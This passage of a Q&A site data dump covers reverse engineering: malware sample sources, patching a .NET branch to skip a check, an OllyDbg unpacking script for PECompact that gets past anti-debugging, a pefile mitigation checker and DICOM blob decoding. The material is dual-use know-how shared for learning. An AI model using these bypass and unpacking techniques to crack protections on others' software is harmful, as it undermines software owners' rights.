  <row Id="9282" PostTypeId="2" ParentId="9279" CreationDate="2015-07-03T14:19:07.537" Score="5" Body="&lt;p&gt;If you're willing to pay for &lt;a href=&quot;https://www.virustotal.com/en/documentation/private-api/&quot; rel=&quot;noreferrer&quot;&gt;VirusTotal's Private API&lt;/a&gt;, you can search for and download Linux malware from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample search for Linux ELF files with 5 or more AV detections would be &lt;a href=&quot;https://www.virustotal.com/intelligence/search/?query=magic%3Aelf%20positives%3A5%2B&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;magic:elf positives:5+&lt;/code&gt;&lt;/a&gt; (file hashes blurred in the screenshot below) -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7rNwf.png&quot; alt=&quot;VirusTotal&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-03T14:19:07.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9283" PostTypeId="1" CreationDate="2015-07-03T19:46:27.810" Score="-2" ViewCount="128" Body="&lt;p&gt;I just started learning assembly. This is how it look in Ollydbg over Windows XpSp3 32Bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX,ESP&#xA;ADD EAX,0x20&#xA;CMP EAX,0xFFFFF&#xA;JLE SHORT 008A3E51&#xA;CMP EAX,0x12A5B0&#xA;JLE SHORT 008A3E38&#xA;JMP SHORT 008A3E26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In above at &lt;code&gt;CMP EAX, 0x12A5B01&lt;/code&gt;, &lt;code&gt;0x12A5B0&lt;/code&gt; is &lt;code&gt;Eax&lt;/code&gt; value in Register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is the same then jump or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my problem is that this &lt;code&gt;Eax&lt;/code&gt; value differ as per change in different OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which result in a fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the correct and Generic way to get the same compare value in all Window OS ?&lt;/p&gt;&#xA;" OwnerUserId="12936" LastEditorUserId="53" LastEditDate="2015-07-03T21:32:29.113" LastActivityDate="2015-07-03T22:05:29.347" Title="How to get same compare result of Eax value in all window OS" Tags="|assembly|ollydbg|" AnswerCount="1" CommentCount="2" ClosedDate="2015-07-11T16:56:18.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="9284" PostTypeId="1" AcceptedAnswerId="9291" CreationDate="2015-07-03T20:10:48.230" Score="-1" ViewCount="4372" Body="&lt;p&gt;I'd like to improve my reverse engineering skills, so I made this WPF application (targeting x64, of course):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MainWindow.xaml&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Window x:Class=&quot;ApplicationTest.MainWindow&quot;&#xA;        xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;&#xA;        xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;&#xA;        Title=&quot;Harness&quot;&#xA;        WindowStyle=&quot;ToolWindow&quot;&#xA;        Width=&quot;200&quot;&#xA;        Height=&quot;200&quot;&amp;gt;&#xA;    &amp;lt;Grid&amp;gt;&#xA;        &amp;lt;Button Content=&quot;Go&quot; Click=&quot;Button_Click&quot;/&amp;gt;&#xA;    &amp;lt;/Grid&amp;gt;&#xA;&amp;lt;/Window&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MainWindow.xaml.cs&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace ApplicationTest&#xA;{&#xA;    public partial class MainWindow : Window&#xA;    {&#xA;        public MainWindow()&#xA;        {&#xA;            InitializeComponent();&#xA;        }&#xA;&#xA;        private void Button_Click(object sender, RoutedEventArgs e)&#xA;        {&#xA;            var value = &quot;No&quot;;&#xA;            if (value.Equals(&quot;No&quot;, StringComparison.OrdinalIgnoreCase))&#xA;                MessageBox.Show(&quot;You cannot proceed.&quot;);&#xA;            else&#xA;                MessageBox.Show(&quot;Well done, lad.&quot;);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I debug it with &lt;a href=&quot;http://x64dbg.com/#start&quot; rel=&quot;nofollow&quot;&gt;x64dbg&lt;/a&gt;, I'm trying to find the location of the &lt;code&gt;value.Equals(&quot;No&quot;, StringComparison.OrdinalIgnoreCase)&lt;/code&gt; comparison, but I am having trouble finding a way to trace the application to its button click event. Ideally, I want to use x64dbg to modify my application's executable and have it run the &lt;code&gt;else&lt;/code&gt; statement and print &lt;code&gt;&quot;Well done, lad.&quot;&lt;/code&gt; instead. How can this be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Symbols window, under the &lt;code&gt;applicationtest.exe&lt;/code&gt; symbol, I see &lt;code&gt;Button_Click&lt;/code&gt; at a particular address, but when I try to set breakpoints in or around here in the &lt;code&gt;Disassembler&lt;/code&gt; view it never hits them when I click the actual button.&lt;/p&gt;&#xA;" OwnerUserId="10125" LastEditorUserId="10125" LastEditDate="2015-07-04T13:46:24.447" LastActivityDate="2015-07-20T15:11:18.203" Title="How can I use an x64 debugger to reroute a .NET application's logic?" Tags="|windows|debuggers|executable|x86-64|.net|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9285" PostTypeId="2" ParentId="9284" CreationDate="2015-07-03T21:56:25.043" Score="3" Body="&lt;p&gt;C# is a bad language to compare source code with assembly, because your source code doesn't get compiled to assembly (*). Instead, the source is translated to some intermediate code; running the program means starting an interpreter which takes over and interprets that intermediate code. So the only thing you can trace is that interpreter itself, not the code it's interpreting. (Even if you find a tool that allows you to single-step compiled .net code, it won't be x86 assembly you're single-stepping).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try a C program instead, or any other language that gets compiled instead of being translated .NET intermediate code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) ignoring jit compilation because the won't help the OP much&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-03T21:56:25.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9286" PostTypeId="2" ParentId="9283" CreationDate="2015-07-03T22:05:29.347" Score="1" Body="&lt;p&gt;There is no correct and generic way. Your &lt;code&gt;eax&lt;/code&gt; register is initialized from the stack pointer, which may be different dependent on OS, OS Version, ASLR, loaded DLLs+DLL Versions,  localization, and probably a bunch of extra stuff that doesn't come to mind right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just shouldn't assign any meaning to any specific stack pointer value. You can assume it gets initialized to a value that can hold a certain amount of stack space you can &lt;code&gt;push&lt;/code&gt; stuff to, and you can compare the value before and after some &lt;code&gt;push&lt;/code&gt; or &lt;code&gt;pop&lt;/code&gt; operations, but the absolute value just has no meaning whatsoever. So your question 'how can i get the same value in all Windows OS' doesn't really make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you can replace your &lt;code&gt;mov eax, esp&lt;/code&gt; with &lt;code&gt;mov eax, 123456h&lt;/code&gt; or &lt;code&gt;xor eax, eax&lt;/code&gt;, and you'll have the same value guaranteed on all versions of Windows. But while this is technically an answer to your question, it's quite probably quite useless as well.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-03T22:05:29.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9287" PostTypeId="2" ParentId="8044" CreationDate="2015-07-04T05:33:41.290" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Why File size reduced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;apktool&lt;/code&gt; optimized it while recompiling.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why it crashed ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible reasons for crash:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You cannot perform all steps in proper order.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Application may have a CRC check for file size.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tool Fully automated with GUI..&#xA;It's updated with recent android framework so no resource decompile error and better handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/02ifm4veotiuik1/apkstudio-2.0.3b-windows-Updates-Framework.rar?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/02ifm4veotiuik1/apkstudio-2.0.3b-windows-Updates-Framework.rar?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this small Paper which includes Tuts on reversing android apps and all basic info regarding to modify/handling apk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/nkkmp4ait71kjku/Android%20Application%20Reversing%20Via%20Android%20Mobile.pdf?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/nkkmp4ait71kjku/Android%20Application%20Reversing%20Via%20Android%20Mobile.pdf?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12938" LastEditorUserId="53" LastEditDate="2015-07-05T14:38:08.900" LastActivityDate="2015-07-05T14:38:08.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9289" PostTypeId="2" ParentId="6674" CreationDate="2015-07-04T20:03:24.447" Score="1" Body="&lt;p&gt;As I never worked with PECompact before I downloaded a few unpackmes and tested it.  It looks like a very easy system to unpack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script &lt;a href=&quot;https://tuts4you.com/download.php?view.2932&quot; rel=&quot;nofollow noreferrer&quot;&gt;PeCompact 2.xx - 3.xx OEP Finder&lt;/a&gt; by atom0s found the OEP correctly for every unpackme I tested.  Please note that you will need to ignore a couple of exceptions (INT3 breaks and Memory access violations), but the anti-debugging will be defeated by the &lt;code&gt;DBH&lt;/code&gt; instruction in ODBGScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some of the unpackmes I found a simple API redirection was also present: each reference to the KERNEL32 API was redirected to a couple of instructions where the correct value was loaded in EAX followed by a &lt;code&gt;JMP EAX&lt;/code&gt; instruction (see image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5vQ5z.png&quot; alt=&quot;API redirection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For such cases, I wrote this small script to solve the redirection (You will need to set the hard-coded value to the address of the first wrong entry):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var oep&#xA;var next&#xA;&#xA;mov oep, eip&#xA;mov next, 00460974  // FIXME&#xA;&#xA;FIX:&#xA;    mov eip, [next]&#xA;    sto&#xA;    mov [next], eax&#xA;    add next, 4&#xA;    cmp [next], 0&#xA;    jne FIX&#xA;&#xA;mov eip, oep&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once this second script is completed you can dump the file and fix the IAT as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it is not clear in your post if your problems are due to the fact that you are working on a DLL instead of an EXE file. If that's the case, you can either use the &lt;a href=&quot;http://www.ollydbg.de/Loaddll.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;LOADDLL tool&lt;/a&gt; or modify the PE header to load the DLL as an EXE (Here is an &lt;a href=&quot;http://www.pctools.com/security-news/unpacking-a-suspicious-dll/&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt; of how to do it on LordPE).&lt;/p&gt;&#xA;" OwnerUserId="12873" LastEditorUserId="12873" LastEditDate="2015-07-15T20:58:13.723" LastActivityDate="2015-07-15T20:58:13.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9290" PostTypeId="1" CreationDate="2015-07-04T20:09:59.567" Score="1" ViewCount="1121" Body="&lt;p&gt;I am facing a compiled resource file for a mobile app (an Android one), built using moSync Framework (&lt;a href=&quot;http://www.mosync.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mosync.com&lt;/a&gt;). This resource file contains media(images, audio), strings, JS/HTML code for that app. It is built using the resource compiler from moSync framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resource file starts with &lt;code&gt;4D 41 52 53&lt;/code&gt; or &lt;code&gt;MARS&lt;/code&gt; as a signature/identifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to extract the resources, to apply some modifications to them and to repack the file ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later edit (publishing file header, and first bytes for further analysis):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4D 41 52 53 E0 1C 4D A9 04 3D 72 85 78 56 34 22 10 00 00 00 3F 01 00&#xA;00 D7 25 B1 89 00 52 6F 6F 74 00 05 00 00 00 01 64 65 66 61 75 6C 74&#xA;2E 63 73 73 00 00 00 00 00 51 0E 00 00 01 48 74 74 70 49 6E 66 6F 45&#xA;4E 2E 68 74 6D 6C 00 51 0E 00 00 2C 7A 00 00 01 48 74 74 70 49 6E 66&#xA;6F 52 4F 2E 68 74 6D 6C 00 7D 88 00 00 2B 7A 00 00 00 69 6D 61 67 65&#xA;73 00 09 00 00 00 01 63 6C 69 65 6E 74 2E 70 6E 67 00 A8 02 01 00 A5&#xA;02 00 00 01 64 65 73 74 69 6E 61 74 69 65 2E 70 6E 67 00 4D 05 01 00&#xA;AA 03 00 00 01 74 61 78 69 2E 70 6E 67 00 F7 08 01 00 2F 0E 00 00 01&#xA;74 61 78 69 30 2E 70 6E 67 00 26 17 01 00 F6 02 00 00 01 74 61 78 69&#xA;31 2E 70 6E 67 00 1C 1A 01 00 76 04 00 00 01 74 61 78 69 32 2E 70 6E&#xA;67 00 92 1E 01 00 5F 04 00 00 01 74 61 78 69 33 2E 70 6E 67 00 F1 22&#xA;01 00 A7 05 00 00 01 74 61 78 69 34 2E 70 6E 67 00 98 28 01 00 0B 05&#xA;00 00 01 74 61 78 69 35 2E 70 6E 67 00 A3 2D 01 00 02 06 00 00 00 6A&#xA;73 00 01 00 00 00 01 6D 6F 73 79 6E 63 2D 62 72 69 64 67 65 2E 6A 73&#xA;00 A5 33 01 00 59 44 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you convert this data from hex to ascii, you will clearly see that the compiled file is a concatenation of several other files(eg:mosync-bridge.js, HttpInfoEN.html, default.css, taxi0.png). After finding that out, i continued analysing the file. After the last png file inside i found serveral audio/mpeg , audio/x-wav file headers. Those aren't referenced anywhere in the file, but loaded within the app sucessfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to hex-edit the file (eg change an attribute in a css file, without preserving attribute name length), repack and sign the APK. I installed it onto one device, and it would complain that it could not load the resources and crash.&lt;/p&gt;&#xA;" OwnerUserId="4019" LastEditorUserId="2147" LastEditDate="2017-03-26T09:06:24.633" LastActivityDate="2017-03-26T09:06:24.633" Title="Extract resources from compiled &quot;resource file&quot;" Tags="|decompilation|unpacking|pe-resources|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9291" PostTypeId="2" ParentId="9284" CreationDate="2015-07-04T21:41:13.567" Score="3" Body="&lt;p&gt;&lt;strong&gt;Modifying a Release-Mode .NET Assembly&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since IL is so simple, one way to achieve the same result without a debugger is to simply decompile the executable using ILDASM on a corresponding &lt;strong&gt;.NET release mode x64 executable&lt;/strong&gt; using the following command line command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Microsoft SDKs\Windows\v8.1A\bin\NETFX 4.5.1 Tools\ildasm.exe&quot; ApplicationTest.exe /out:Disassembly.asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the disassembly, you will see the following IL instructions under the &lt;code&gt;Button_Click&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IL_000d:  callvirt   instance bool [mscorlib]System.String::Equals(string,&#xA;                                                                       valuetype [mscorlib]System.StringComparison)&#xA;    IL_0012:  brfalse.s  IL_0020&#xA;&#xA;    IL_0014:  ldstr      &quot;You cannot proceed.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's very verbose and looks almost identical to your original .NET code so it makes it really easy to find the location of your corresponding code. Modify the text &lt;code&gt;brfalse&lt;/code&gt; to be &lt;code&gt;brtrue&lt;/code&gt;, and compile it using ILASM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe&quot; Disassembly.asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result will be an assembly named &lt;code&gt;Disassembly.exe&lt;/code&gt; which is nearly identical to the original assembly except that it has rerouted application logic. Now when you execute it, clicking the button will print &lt;code&gt;Well done, lad.&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: You may need to download the Windows SDK or corresponding .NET Framework your .NET project is running in order to get access to ILDASM or ILASM. Also, these tools may not work if your .NET application uses a different version of the .NET framework than the .NET versions that the version of ILDASM or ILASM you are using target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debugging a Release-Mode .NET Assembly's MSIL Assembly Code Line-by-Line&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To directly answer the question, you can debug release-mode .NET assemblies line by line. You first need to decompile any .NET assembly into IL code as I have shown above, using ildasm. Then, you can recompile your assembly in ilasm using the &lt;code&gt;/pdb&lt;/code&gt; flag (&lt;code&gt;ilasm Disassembly.asm /pdb&lt;/code&gt;) to create a debug database that will let you debug any .NET assembly line by line. Here is a simple demonstration of how to do that. Once you have compiled using &lt;code&gt;ilasm Disassembly.asm /pdb&lt;/code&gt;, launch the executable (&lt;code&gt;Disassembly.exe&lt;/code&gt;). In Visual Studio, go to &lt;code&gt;Tools -&amp;gt; Attach to process&lt;/code&gt; and attach the debugger to &lt;code&gt;Disassembly.exe&lt;/code&gt;. Once attached, go to &lt;code&gt;Debug -&amp;gt; Options and Settings -&amp;gt; Debugger -&amp;gt; Symbols&lt;/code&gt; and make sure you add the location of the folder hosting the &lt;code&gt;Disassembly.pdb&lt;/code&gt; file (it should be the same folder that &lt;code&gt;Disassembly.exe&lt;/code&gt; is in if you followed this guide correctly thus far. Hit the pause button in Visual Studio to freeze execution and go to &lt;code&gt;Debug -&amp;gt; Windows -&amp;gt; Threads&lt;/code&gt; and view your threads. Navigate through the threads by double clicking on them. You may need to disable &lt;code&gt;Just my code&lt;/code&gt;. If it prompts you, go ahead and do it, it should be a single click in the thread view. Eventually, you will see that one of your threads shows you the IL &lt;code&gt;Disassembly.asm&lt;/code&gt;. You can add breakpoints in and debug it line by line. Here is a screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DKTor.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a quick note, you may need to resume then freeze again after loading symbols so that Visual Studio synchronizes them. Also, for this to work, you will need the corresponding &lt;code&gt;Disassembly.asm&lt;/code&gt; file in the same directory as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Visual Studio has a handy Disassembly View (&lt;code&gt;Debug -&amp;gt; Windows -&amp;gt; Disassembly&lt;/code&gt;) which shows you the machine instructions generated by JIT instead of IL instructions, but this window you cannot debug, presumably because JIT generates this stuff dynamically.&lt;/p&gt;&#xA;" OwnerUserId="10125" LastEditorUserId="10125" LastEditDate="2015-07-20T15:11:18.203" LastActivityDate="2015-07-20T15:11:18.203" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9293" PostTypeId="1" AcceptedAnswerId="9297" CreationDate="2015-07-05T18:27:45.090" Score="0" ViewCount="2641" Body="&lt;p&gt;i use &lt;code&gt;pefile&lt;/code&gt; library for help me in vulnerability research,malware analysis  and exploit development and try to write script help me to know which protections binary use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i know &lt;code&gt;mona.py&lt;/code&gt; from corelan team but i just need to write some tools will help me without use mona &lt;code&gt;because i'm not use immunity debugger i use python debugger&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====update=========&lt;br&gt;&#xA;i wrote this script  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os.path&#xA;import sys&#xA;import pefile&#xA;&#xA;class PESecurityCheck:&#xA;&#xA;  IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040&#xA;  IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100&#xA;  IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400&#xA;  IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000&#xA;&#xA;&#xA;&#xA;  def __init__(self,pe):&#xA;    self.pe = pe&#xA;&#xA;  def aslr(self):&#xA;    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp;amp; self.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)&#xA;&#xA;  def dep(self):&#xA;    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp;amp; self.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)&#xA;&#xA;  def seh(self):&#xA;    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp;amp; self.IMAGE_DLLCHARACTERISTICS_NO_SEH)&#xA;&#xA;  def CFG(self):&#xA;    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics &amp;amp; self.IMAGE_DLLCHARACTERISTICS_GUARD_CF)&#xA;&#xA;if len(sys.argv) &amp;lt; 2:&#xA;  print 'Usage: %s &amp;lt;file_path&amp;gt;' % sys.argv[0] &#xA;  sys.exit()&#xA;&#xA;def main():&#xA;  file_path = sys.argv[1]   &#xA;&#xA;  try:&#xA;    if os.path.isfile(file_path):&#xA;      pe = pefile.PE(file_path,True)&#xA;    else:&#xA;      print &quot;File '%s' not found!&quot; % file_path     &#xA;      sys.exit(0)  &#xA;  except pefile.PEFormatError:&#xA;    print &quot;Not a PE file!&quot;&#xA;    sys.exit(0)  &#xA;&#xA;  ps = PESecurityCheck(pe)&#xA;&#xA;  if ps.aslr():&#xA;    print &quot;[+] ASLR Enabled&quot;&#xA;  else:&#xA;    print &quot;[-] ASLR Not Enabled&quot;&#xA;&#xA;  if ps.dep():&#xA;    print &quot;[+] DEP Enabled&quot;&#xA;  else:&#xA;    print &quot;[-] DEP Not Enabled&quot;&#xA;&#xA;  if ps.seh():&#xA;    print &quot;[+] SEH Enabled&quot;&#xA;  else:&#xA;    print &quot;[-] SEH Not Enabled&quot;&#xA;&#xA;  if ps.CFG():&#xA;    print &quot;[+]CFG Enabled&quot;&#xA;  else:&#xA;    print &quot;[-] CFG Not Enabled&quot;&#xA;&#xA;if __name__ == '__main__':&#xA;  main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12693" LastEditorUserId="12693" LastEditDate="2015-07-08T12:40:37.830" LastActivityDate="2015-07-08T12:40:37.830" Title="how use pefile to check for NX, ASLR, SAFESEH and CFG (Control Flow Guard) flag" Tags="|windows|pe|protection|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-07T22:37:48.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="9294" PostTypeId="2" ParentId="9279" CreationDate="2015-07-05T19:56:41.963" Score="5" Body="&lt;p&gt;You can also sign up for &lt;a href=&quot;http://virusshare.com/&quot; rel=&quot;noreferrer&quot; title=&quot;VirusShare&quot;&gt;VirusShare&lt;/a&gt; and download the following archive which has 2778 ELF samples :&#xA;VirusShare_ELF_20140617.zip &lt;/p&gt;&#xA;" OwnerUserId="11834" LastEditorUserId="11834" LastEditDate="2015-07-05T20:06:50.267" LastActivityDate="2015-07-05T20:06:50.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9295" PostTypeId="2" ParentId="8895" CreationDate="2015-07-06T11:57:31.513" Score="4" Body="&lt;p&gt;You can get low-level bytecode source of .beam file with &lt;strong&gt;beam_disasm:file(module_name)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not easy to read it and takes time to figure it out. But it's much verbose and easier to comprehend than any real hardware assembly code. You can give it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have a .beam file called &quot;my_module.beam&quot;, open &lt;em&gt;erl&lt;/em&gt; and type &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file:write_file(&quot;/tmp/my_module_disasm&quot;, io_lib:fwrite(&quot;~p.\n&quot;, [beam_disasm:file(my_module)])).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;em&gt;'/tmp/my_module_disasm'&lt;/em&gt; is the path where you want to save the result.&lt;/p&gt;&#xA;" OwnerUserId="12943" LastEditorUserId="12943" LastEditDate="2015-07-07T03:41:43.020" LastActivityDate="2015-07-07T03:41:43.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9296" PostTypeId="1" AcceptedAnswerId="9387" CreationDate="2015-07-06T13:26:48.893" Score="2" ViewCount="1268" Body="&lt;p&gt;I have a couple of streams that look pretty odd within a &lt;code&gt;DICOM&lt;/code&gt; file. In a few words, &lt;a href=&quot;http://medical.nema.org/medical/dicom/current/output/chtml/part05/chapter_7.html#sect_7.1.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;DICOM&lt;/a&gt; is very close to what &lt;em&gt;binary XML&lt;/em&gt; would look like. Almost all of the information from those DICOM files are straighforward and can be read and interpreted nicely with &lt;a href=&quot;http://dcmtk.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DCMTK&lt;/a&gt; and/or &lt;a href=&quot;http://sourceforge.net/projects/gdcm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDCM&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are two binary fields stored within the end of the file that looks like &lt;em&gt;private&lt;/em&gt; encoded information. Since DICOM is mostly for &lt;em&gt;interoperability&lt;/em&gt; in between system, vendors are actually storing there own internal file format within one of the field of the DICOM file (declared as private field, much like what would people in the TIFF world would do). In my past experience, the encoding was trivial (plain &lt;code&gt;struct&lt;/code&gt; stored as binary), see &lt;a href=&quot;https://github.com/malaterre/GDCM/blob/master/Applications/Cxx/gdcmdump.cxx#L67&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; or &lt;a href=&quot;https://github.com/malaterre/GDCM/blob/master/Source/DataStructureAndEncodingDefinition/gdcmCSAHeader.cxx#L986&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I extract the binary blobs from the DICOM file (debian/jessie amd64), here is what I see :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdcmraw -t 7101,1000 input.dcm file1000.gz&#xA;$ gdcmraw -t 7101,1002 input.dcm file1002.gz&#xA;$ file file1000.gz file1000.gz: gzip compressed data, max compression, from FAT filesystem (MS-DOS, OS/2, NT)&#xA;&#xA;$ gunzip file1000.gz&#xA;&#xA;gzip: file1000.gz: invalid compressed data--format violated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However &lt;code&gt;gunzip&lt;/code&gt; is not capable of decompressing them. Could someone with more gzip knowledge please check if those files are actually gzip compressed ? It looks like it's possible to decompress them because in the medical industry we tend to re-use code whenever possible. For example a well known MRI vendor is also using &lt;code&gt;gzip&lt;/code&gt; compressed stream to store its private file format, see &lt;a href=&quot;https://github.com/malaterre/GDCM/blob/master/Source/DataStructureAndEncodingDefinition/gdcmPDBHeader.cxx#L25&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for example (full thread &lt;a href=&quot;https://groups.google.com/d/msg/comp.protocols.dicom/mxnCkv8A-i4/sHcN_oFeNekJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obfuscation should be pretty trivial too because it needs to pass medical industry clearance. From past experience, I've only seen byte reversing being used or simple incremental XOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded come of the files here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/malaterre/MRPicker&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/malaterre/MRPicker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The image can be extracted nicely, so I suspect only a few extra private vendor information (metadata only) is stored within this field (MRI serial number...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, the fake &lt;code&gt;gzip&lt;/code&gt; stream comes in pair eg 